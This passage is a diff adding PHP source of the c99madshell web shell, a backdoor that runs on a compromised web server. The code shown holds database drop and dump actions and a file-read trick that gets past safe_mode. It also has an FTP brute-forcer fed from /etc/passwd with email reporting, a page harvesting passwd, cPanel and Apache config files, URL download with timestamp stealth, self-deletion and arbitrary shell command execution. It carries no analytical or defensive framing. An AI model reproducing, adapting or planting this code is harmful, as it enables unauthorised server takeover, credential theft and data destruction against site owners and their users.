+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ $sql_query = urldecode($sql_query);
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
+ else {echo "Dump: nothing to do! ";}
+ }
+ }
+ if ($diplay)
+ {
+ if (!empty($sql_tbl))
+ {
+ if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
+ $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
+ $count_row = mysql_fetch_array($count);
+ mysql_free_result($count);
+ $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
+ $tbl_struct_fields = array();
+ while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
+ if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
+ if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
+ if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
+ if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
+ $perpage = $sql_tbl_le - $sql_tbl_ls;
+ if (!is_numeric($perpage)) {$perpage = 10;}
+ $numpages = $count_row[0]/$perpage;
+ $e = explode(" ",$sql_order);
+ if (count($e) == 2)
+ {
+ if ($e[0] == "d") {$asc_desc = "DESC";}
+ else {$asc_desc = "ASC";}
+ $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
+ }
+ else {$v = "";}
+ $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
+ $result = mysql_query($query) or print(mysql_smarterror());
+ echo " Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows) ";
+ echo "[ Structure ] ";
+ echo "[ Browse ] ";
+ echo "[ Dump ] ";
+ echo "[ Insert ] ";
+ if ($sql_tbl_act == "structure") {echo "Coming sooon! ";}
+ if ($sql_tbl_act == "insert")
+ {
+ if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
+ if (!empty($sql_tbl_insert_radio))
+ {
+
+ }
+ else
+ {
+ echo "Inserting row into table: ";
+ if (!empty($sql_tbl_insert_q))
+ {
+ $sql_query = "SELECT * FROM `".$sql_tbl."`";
+ $sql_query .= " WHERE".$sql_tbl_insert_q;
+ $sql_query .= " LIMIT 1;";
+ $sql_query = urldecode($sql_query);
+ $sql_tbl_insert_q = urldecode($sql_tbl_insert_q);
+ $result = mysql_query($sql_query,$sql_sock) or print(" ".mysql_smarterror());
+ $values = mysql_fetch_assoc($result);
+ mysql_free_result($result);
+ }
+ else {$values = array();}
+ echo " ";
+ echo "Insert as new row ";
+ if (!empty($sql_tbl_insert_q)) {echo " or Save "; echo " ";}
+ echo " ";
+ }
+ }
+ if ($sql_tbl_act == "browse")
+ {
+ $sql_tbl_ls = abs($sql_tbl_ls);
+ $sql_tbl_le = abs($sql_tbl_le);
+ echo " ";
+ $b = 0;
+ for($i=0;$i<$numpages;$i++)
+ {
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "";}
+ echo $i;
+ if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo " ";}
+ if (($i/30 == round($i/30)) and ($i > 0)) {echo " ";}
+ else {echo " ";}
+ }
+ if ($i == 0) {echo "empty";}
+ echo "From: To: ";
+ echo "";
+ echo "With selected: ";
+ echo "Delete ";
+ echo "
";
+ }
+ }
+ else
+ {
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
+ if (!$result) {echo mysql_smarterror();}
+ else
+ {
+ echo "";
+ echo "With selected: ";
+ echo "Drop ";
+ echo "Empty ";
+ echo "Dump ";
+ echo "Check table ";
+ echo "Optimize table ";
+ echo "Repair table ";
+ echo "Analyze table ";
+ echo "
";
+ mysql_free_result($result);
+ }
+ }
+ }
+ }
+ }
+ else
+ {
+ $acts = array("","newdb","serverstatus","servervars","processes","getfile");
+ if (in_array($sql_act,$acts)) {?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name Value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Processes: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "getfile")
+ {
+ $tmpdb = $sql_login."_tmpdb";
+ $select = mysql_select_db($tmpdb);
+ if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
+ if ($select)
+ {
+ $created = FALSE;
+ mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
+ mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
+ $result = mysql_query("SELECT * FROM tmp_file;");
+ if (!$result) {echo "Error in reading file (permision denied)! ";}
+ else
+ {
+ for ($i=0;$iFile \"".$sql_getfile."\" does not exists or empty! ";}
+ else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f))." ";}
+ mysql_free_result($result);
+ mysql_query("DROP TABLE tmp_file;");
+ }
+ }
+ mysql_drop_db($tmpdb); //comment it if you want to leave database
+ }
+ }
+ }
+ }
+ echo "
";
+ if ($sql_sock)
+ {
+ $affected = @mysql_affected_rows($sql_sock);
+ if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
+ echo " Affected rows: ".$affected." ";
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d)
+ {
+ if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";}
+ elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}
+ echo " ";
+ }
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if (!win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+ if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
+ else {$TRUE = TRUE;}
+ if ($TRUE)
+ {
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return TRUE;
+ }
+ }
+ }
+ if (!empty($submit))
+ {
+ if (isset($_POST['fqb_lenght'])) $fqb_lenght = $_POST['fqb_lenght'];
+ if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+ $fp = fopen("/etc/passwd","r");
+ if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+ else
+ {
+ if (isset($_POST['fqb_logging'])) $fqb_logging = $_POST['fqb_logging'];
+ if ($fqb_logging)
+ {
+ if (isset($_POST['fqb_logfile'])) $fqb_logging = $_POST['fqb_logfile'];
+ if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
+ else {$fqb_logfp = FALSE;}
+ $fqb_log = "FTP Quick Brute (called c99madshell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
+ if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ }
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+ echo "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\" ";
+ $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ $success++;
+ ob_flush();
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+ $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
+ if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
+ if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
+ fclose($fqb_logfp);
+ }
+ }
+ else
+ {
+ $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
+ $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
+ echo " Read first: Users only with shell? Logging? Logging to file? Logging to e-mail? ";
+ }
+ }
+}
+if ($act == "d")
+{
+ if (!is_dir($d)) {echo "Permision denied! ";}
+ else
+ {
+ echo "Directory information: ";
+ if (!$win)
+ {
+ echo "Owner/Group ";
+ //$ow = posix_getpwuid(fileowner($d));
+ //$gr = posix_getgrgid(filegroup($d));
+ $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
+ }
+ echo " Perms ".view_perms_color($d)." Create time ".date("d/m/Y H:i:s",filectime($d))." Access time ".date("d/m/Y H:i:s",fileatime($d))." MODIFY time ".date("d/m/Y H:i:s",filemtime($d))."
";
+ }
+}
+if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
+if ($act == "security")
+{
+ echo "Server security information: Open base dir: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ echo "*nix /etc/passwd: ";
+ if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
+ if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
+ echo "From: To: ";
+ $i = $nixpwd_s;
+ while ($i < $nixpwd_e)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid)
+ {
+ $uid["dir"] = "".$uid["dir"]." ";
+ echo join(":",$uid)." ";
+ }
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "You can crack winnt passwords. Download , and use lcp.crack+ ©. ";}
+ }
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/syslog.conf")) {echo "Syslog configuration (syslog.conf) ";}
+ if (file_get_contents("/etc/motd")) {echo "Message Of The Day ";}
+ if (file_get_contents("/etc/hosts")) {echo "Hosts ";}
+ function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "".$name." - ";} echo $name.nl2br($value)." ";}}
+ displaysecinfo("OS Version?",myshellexec("cat /proc/version"));
+ displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
+ displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net"));
+ displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise"));
+ displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo"));
+ displaysecinfo("RAM",myshellexec("free -m"));
+ displaysecinfo("HDD space",myshellexec("df -h"));
+ displaysecinfo("List of Attributes",myshellexec("lsattr -a"));
+ displaysecinfo("Mount options ",myshellexec("cat /etc/fstab"));
+ displaysecinfo("Is cURL installed?",myshellexec("which curl"));
+ displaysecinfo("Is lynx installed?",myshellexec("which lynx"));
+ displaysecinfo("Is links installed?",myshellexec("which links"));
+ displaysecinfo("Is fetch installed?",myshellexec("which fetch"));
+ displaysecinfo("Is GET installed?",myshellexec("which GET"));
+ displaysecinfo("Is perl installed?",myshellexec("which perl"));
+ displaysecinfo("Where is apache",myshellexec("whereis apache"));
+ displaysecinfo("Where is perl?",myshellexec("whereis perl"));
+ displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
+ displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
+ displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
+ displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else {echo "File-System buffer "; $ls_arr = $arr; $disp_fullpath = TRUE; $act = "ls";}
+}
+if ($act == "selfremove")
+{
+ if (($submit == $rndcode) and ($submit != ""))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using c99madshell v.".$shver."!"; c99shexit(); }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ if (!empty($rndcode)) {echo "Error: incorrect confimation! ";}
+ $rnd = rand(0,9).rand(0,9).rand(0,9);
+ echo "Self-remove: ".__FILE__." Are you sure? For confirmation, enter \"".$rnd."\" : ";
+ }
+}
+if ($act == "search")
+{
+ echo "Search in file-system: ";
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $search_i_f = 0;
+ $search_i_d = 0;
+ $a = array
+ (
+ "name"=>$search_name, "name_regexp"=>$search_name_regexp,
+ "text"=>$search_text, "text_regexp"=>$search_text_regxp,
+ "text_wwo"=>$search_text_wwo,
+ "text_cs"=>$search_text_cs,
+ "text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v) {c99fsearch($v);}
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+ $ls_arr = $found;
+ $disp_fullpath = TRUE;
+ $act = "ls";
+ }
+ }
+ echo "
+
+Search for (file/folder name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {$dspact = $act; echo "Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second). ";}
+}
+if ($act == "chmod")
+{
+ $mode = fileperms($d.$f);
+ if (!$mode) {echo "Change file-mode with error: can't get current value.";}
+ else
+ {
+ $form = TRUE;
+ if ($chmod_submit)
+ {
+ $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
+ if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";}
+ else {$err = "Can't chmod to ".$octet.".";}
+ }
+ if ($form)
+ {
+ $perms = parse_perms($mode);
+ echo "Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).") ".($err?"Error: ".$err:"")." ";
+ }
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile["tmp_name"]))
+ {
+ if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
+ else {$destin = $userfilename;}
+ if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
+ if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+ else
+ {
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+ }
+ if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+ else
+ {
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Can't download file! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."! ";}
+ else
+ {
+ fwrite($fp,$content,strlen($content));
+ fclose($fp);
+ if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+ }
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "File upload: ".$uploadmess."
+Select file on your local computer: or
+Input URL:
+Save this file dir:
+File-name (auto-fill):
+ convert file name to lovercase
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = FALSE;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)." ";}
+ }
+ if (!empty($delerr)) {echo "Deleting with errors: ".$delerr;}
+ $act = "ls";
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; }
+ elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";}
+ elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";}
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+ if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
+ $cmdline .= " ".$actarcbuff_path;
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+ $v = str_replace("\\",DIRECTORY_SEPARATOR,$v);
+ if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
+ if (is_dir($v))
+ {
+ if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
+ $v .= "*";
+ }
+ $cmdline .= " ".$v;
+ }
+ $tmp = realpath(".");
+ chdir($d);
+ $ret = myshellexec($cmdline);
+ chdir($tmp);
+ if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")! ";}
+ $ret = str_replace("\r\n","\n",$ret);
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ if (in_array($v,$ret)) {fs_rmobj($v);}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."! ";}
+ if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+ $to = $d.basename($v);
+ if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."! ";}
+ unset($sess_data["cut"][$k]);
+ }
+ c99_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Pasting with errors: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "cmd")
+{
+if (trim($cmd) == "ps -aux") {$act = "processes";}
+elseif (trim($cmd) == "tasklist") {$act = "processes";}
+else
+{
+ @chdir($chdir);
+ if (!empty($submit))
+ {
+ echo "Result of execution this command : ";
+ $olddir = realpath(".");
+ @chdir($d);
+ $ret = myshellexec($cmd);
+ $ret = convert_cyr_string($ret,"d","w");
+ if ($cmd_txt)
+ {
+ $rows = count(explode("\r\n",$ret))+1;
